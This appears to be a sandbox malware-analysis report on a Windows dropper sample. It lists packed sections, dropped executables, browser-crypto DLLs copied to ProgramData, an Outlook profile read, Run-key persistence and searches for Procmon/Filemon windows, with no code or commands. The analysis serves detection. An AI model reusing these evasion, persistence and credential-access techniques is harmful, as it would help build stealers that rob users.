Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll

Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 2949120 > 1048576

Source: file.exe

Static PE information: Raw size of gmhlytvb is bigger than: 0x100000 < 0x2a4a00

Source:	Binary string: mozglue.pdbP source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2617552023.000000006F89D000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: nss3.pdb@ source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: nss3.pdb source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: DHMGC7TXSIK31JTC83MV8ND88A.exe, 00000008.00000002.2447177544.0000000000192000.00000040.00000001.01000000.0000000B.sdmp, DHMGC7TXSIK31JTC83MV8ND88A.exe, 00000008.00000003.2314064013.0000000004E40000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2617552023.000000006F89D000.00000002.00000001.01000000.0000000F.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Unpacked PE file: 4.2.6IF65DE3AL7UEH5E4W09DIZ.exe.f40000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ujtayirb:EW;rmnowbou:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ujtayirb:EW;rmnowbou:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 5.2.skotes.exe.490000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ujtayirb:EW;rmnowbou:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ujtayirb:EW;rmnowbou:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Unpacked PE file: 6.2.K7IHXYTNUQJPI2M9UU0ECLE1K.exe.820000.0.unpack :EW;.rsrc :W;.idata :W; :EW;rhebxyzr:EW;gzayextq:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;rhebxyzr:EW;gzayextq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Unpacked PE file: 8.2.DHMGC7TXSIK31JTC83MV8ND88A.exe.190000.0.unpack :EW;.rsrc:W;.idata :W;rlkngmqk:EW;jjmnbtpn:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Unpacked PE file: 10.2.e192e43b61.exe.9a0000.0.unpack :EW;.rsrc :W;.idata :W;gmhlytvb:EW;oycggmgz:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;gmhlytvb:EW;oycggmgz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Unpacked PE file: 11.2.e192e43b61.exe.9a0000.0.unpack :EW;.rsrc :W;.idata :W;gmhlytvb:EW;oycggmgz:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;gmhlytvb:EW;oycggmgz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Unpacked PE file: 12.2.b0b9f39429.exe.ba0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;rhebxyzr:EW;gzayextq:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;rhebxyzr:EW;gzayextq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Unpacked PE file: 13.2.e192e43b61.exe.9a0000.0.unpack :EW;.rsrc :W;.idata :W;gmhlytvb:EW;oycggmgz:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;gmhlytvb:EW;oycggmgz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Unpacked PE file: 26.2.b0b9f39429.exe.ba0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;rhebxyzr:EW;gzayextq:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;rhebxyzr:EW;gzayextq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe	Unpacked PE file: 33.2.C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe.e30000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ujtayirb:EW;rmnowbou:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ujtayirb:EW;rmnowbou:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: num.exe.7.dr	Static PE information: real checksum: 0x0 should be: 0x52a2a
Source: skotes.exe.4.dr	Static PE information: real checksum: 0x1d0686 should be: 0x1ce3d7
Source: 6IF65DE3AL7UEH5E4W09DIZ.exe.0.dr	Static PE information: real checksum: 0x1d0686 should be: 0x1ce3d7
Source: b0b9f39429.exe.7.dr	Static PE information: real checksum: 0x1c70fa should be: 0x1c8212
Source: random[1].exe.7.dr	Static PE information: real checksum: 0x2db270 should be: 0x2d39e4
Source: DHMGC7TXSIK31JTC83MV8ND88A.exe.0.dr	Static PE information: real checksum: 0x2b7d41 should be: 0x2bb395
Source: random[1].exe0.7.dr	Static PE information: real checksum: 0x1c70fa should be: 0x1c8212
Source: e192e43b61.exe.7.dr	Static PE information: real checksum: 0x2db270 should be: 0x2d39e4
Source: file.exe	Static PE information: real checksum: 0x2db270 should be: 0x2d39e4
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe.0.dr	Static PE information: real checksum: 0x1c70fa should be: 0x1c8212
Source: UDUFEWZ4SDVC5XI69Q6Z0RB48.exe.10.dr	Static PE information: real checksum: 0x1c70fa should be: 0x1c8212
Source: num[1].exe.7.dr	Static PE information: real checksum: 0x0 should be: 0x52a2a
Source: C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe.10.dr	Static PE information: real checksum: 0x1d0686 should be: 0x1ce3d7

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: gmhlytvb
Source: file.exe	Static PE information: section name: oycggmgz
Source: file.exe	Static PE information: section name: .taggant
Source: DHMGC7TXSIK31JTC83MV8ND88A.exe.0.dr	Static PE information: section name:
Source: DHMGC7TXSIK31JTC83MV8ND88A.exe.0.dr	Static PE information: section name: .idata
Source: DHMGC7TXSIK31JTC83MV8ND88A.exe.0.dr	Static PE information: section name: rlkngmqk
Source: DHMGC7TXSIK31JTC83MV8ND88A.exe.0.dr	Static PE information: section name: jjmnbtpn
Source: DHMGC7TXSIK31JTC83MV8ND88A.exe.0.dr	Static PE information: section name: .taggant
Source: 6IF65DE3AL7UEH5E4W09DIZ.exe.0.dr	Static PE information: section name:
Source: 6IF65DE3AL7UEH5E4W09DIZ.exe.0.dr	Static PE information: section name: .idata
Source: 6IF65DE3AL7UEH5E4W09DIZ.exe.0.dr	Static PE information: section name:
Source: 6IF65DE3AL7UEH5E4W09DIZ.exe.0.dr	Static PE information: section name: ujtayirb
Source: 6IF65DE3AL7UEH5E4W09DIZ.exe.0.dr	Static PE information: section name: rmnowbou
Source: 6IF65DE3AL7UEH5E4W09DIZ.exe.0.dr	Static PE information: section name: .taggant
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe.0.dr	Static PE information: section name:
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe.0.dr	Static PE information: section name: .rsrc
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe.0.dr	Static PE information: section name: .idata
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe.0.dr	Static PE information: section name:
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe.0.dr	Static PE information: section name: rhebxyzr
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe.0.dr	Static PE information: section name: gzayextq
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.4.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name: .idata
Source: skotes.exe.4.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name: ujtayirb
Source: skotes.exe.4.dr	Static PE information: section name: rmnowbou
Source: skotes.exe.4.dr	Static PE information: section name: .taggant
Source: freebl3.dll.6.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.6.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.6.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.6.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.6.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.6.dr	Static PE information: section name: .didat
Source: nss3.dll.6.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.6.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.6.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.6.dr	Static PE information: section name: .00cfg
Source: random[1].exe.7.dr	Static PE information: section name:
Source: random[1].exe.7.dr	Static PE information: section name: .rsrc
Source: random[1].exe.7.dr	Static PE information: section name: .idata
Source: random[1].exe.7.dr	Static PE information: section name: gmhlytvb
Source: random[1].exe.7.dr	Static PE information: section name: oycggmgz
Source: random[1].exe.7.dr	Static PE information: section name: .taggant
Source: e192e43b61.exe.7.dr	Static PE information: section name:
Source: e192e43b61.exe.7.dr	Static PE information: section name: .rsrc
Source: e192e43b61.exe.7.dr	Static PE information: section name: .idata
Source: e192e43b61.exe.7.dr	Static PE information: section name: gmhlytvb
Source: e192e43b61.exe.7.dr	Static PE information: section name: oycggmgz
Source: e192e43b61.exe.7.dr	Static PE information: section name: .taggant
Source: random[1].exe0.7.dr	Static PE information: section name:
Source: random[1].exe0.7.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.7.dr	Static PE information: section name: .idata
Source: random[1].exe0.7.dr	Static PE information: section name:
Source: random[1].exe0.7.dr	Static PE information: section name: rhebxyzr
Source: random[1].exe0.7.dr	Static PE information: section name: gzayextq
Source: random[1].exe0.7.dr	Static PE information: section name: .taggant
Source: b0b9f39429.exe.7.dr	Static PE information: section name:
Source: b0b9f39429.exe.7.dr	Static PE information: section name: .rsrc
Source: b0b9f39429.exe.7.dr	Static PE information: section name: .idata
Source: b0b9f39429.exe.7.dr	Static PE information: section name:
Source: b0b9f39429.exe.7.dr	Static PE information: section name: rhebxyzr
Source: b0b9f39429.exe.7.dr	Static PE information: section name: gzayextq
Source: b0b9f39429.exe.7.dr	Static PE information: section name: .taggant
Source: C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe.10.dr	Static PE information: section name:
Source: C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe.10.dr	Static PE information: section name: .idata
Source: C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe.10.dr	Static PE information: section name:
Source: C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe.10.dr	Static PE information: section name: ujtayirb
Source: C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe.10.dr	Static PE information: section name: rmnowbou
Source: C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe.10.dr	Static PE information: section name: .taggant
Source: UDUFEWZ4SDVC5XI69Q6Z0RB48.exe.10.dr	Static PE information: section name:
Source: UDUFEWZ4SDVC5XI69Q6Z0RB48.exe.10.dr	Static PE information: section name: .rsrc
Source: UDUFEWZ4SDVC5XI69Q6Z0RB48.exe.10.dr	Static PE information: section name: .idata
Source: UDUFEWZ4SDVC5XI69Q6Z0RB48.exe.10.dr	Static PE information: section name:
Source: UDUFEWZ4SDVC5XI69Q6Z0RB48.exe.10.dr	Static PE information: section name: rhebxyzr
Source: UDUFEWZ4SDVC5XI69Q6Z0RB48.exe.10.dr	Static PE information: section name: gzayextq
Source: UDUFEWZ4SDVC5XI69Q6Z0RB48.exe.10.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0177A4FA push eax; iretd	0_3_0177A539
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0177A56C pushad ; iretd	0_3_0177A56D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01785FE6 push ebp; iretd	0_3_01785FE7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01785FE6 push ebp; iretd	0_3_01785FE7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01785A4E push ds; ret	0_3_01785A62
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01785A4E push ds; ret	0_3_01785A62
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05E23967 push ecx; ret	0_3_05E23968
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05E23967 push ecx; ret	0_3_05E23968
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05E23967 push ecx; ret	0_3_05E23968
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01785FE6 push ebp; iretd	0_3_01785FE7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01785FE6 push ebp; iretd	0_3_01785FE7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01785A4E push ds; ret	0_3_01785A62
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01785A4E push ds; ret	0_3_01785A62
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05E23967 push ecx; ret	0_3_05E23968
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05E23967 push ecx; ret	0_3_05E23968
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05E23967 push ecx; ret	0_3_05E23968
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05E23967 push ecx; ret	0_3_05E23968
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05E23967 push ecx; ret	0_3_05E23968
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05E23967 push ecx; ret	0_3_05E23968

Source: file.exe	Static PE information: section name: entropy: 7.982112788144997
Source: DHMGC7TXSIK31JTC83MV8ND88A.exe.0.dr	Static PE information: section name: entropy: 7.811229692376571
Source: 6IF65DE3AL7UEH5E4W09DIZ.exe.0.dr	Static PE information: section name: entropy: 7.983548363166369
Source: 6IF65DE3AL7UEH5E4W09DIZ.exe.0.dr	Static PE information: section name: ujtayirb entropy: 7.953712273464536
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe.0.dr	Static PE information: section name: rhebxyzr entropy: 7.953785461765037
Source: skotes.exe.4.dr	Static PE information: section name: entropy: 7.983548363166369
Source: skotes.exe.4.dr	Static PE information: section name: ujtayirb entropy: 7.953712273464536
Source: random[1].exe.7.dr	Static PE information: section name: entropy: 7.982112788144997
Source: e192e43b61.exe.7.dr	Static PE information: section name: entropy: 7.982112788144997
Source: random[1].exe0.7.dr	Static PE information: section name: rhebxyzr entropy: 7.953785461765037
Source: b0b9f39429.exe.7.dr	Static PE information: section name: rhebxyzr entropy: 7.953785461765037
Source: C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe.10.dr	Static PE information: section name: entropy: 7.983548363166369
Source: C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe.10.dr	Static PE information: section name: ujtayirb entropy: 7.953712273464536
Source: UDUFEWZ4SDVC5XI69Q6Z0RB48.exe.10.dr	Static PE information: section name: rhebxyzr entropy: 7.953785461765037

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File created: C:\Users\user\AppData\Local\Temp\UDUFEWZ4SDVC5XI69Q6Z0RB48.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	File created: C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001608001\num.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b0b9f39429.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 5e28f62265.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e192e43b61.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
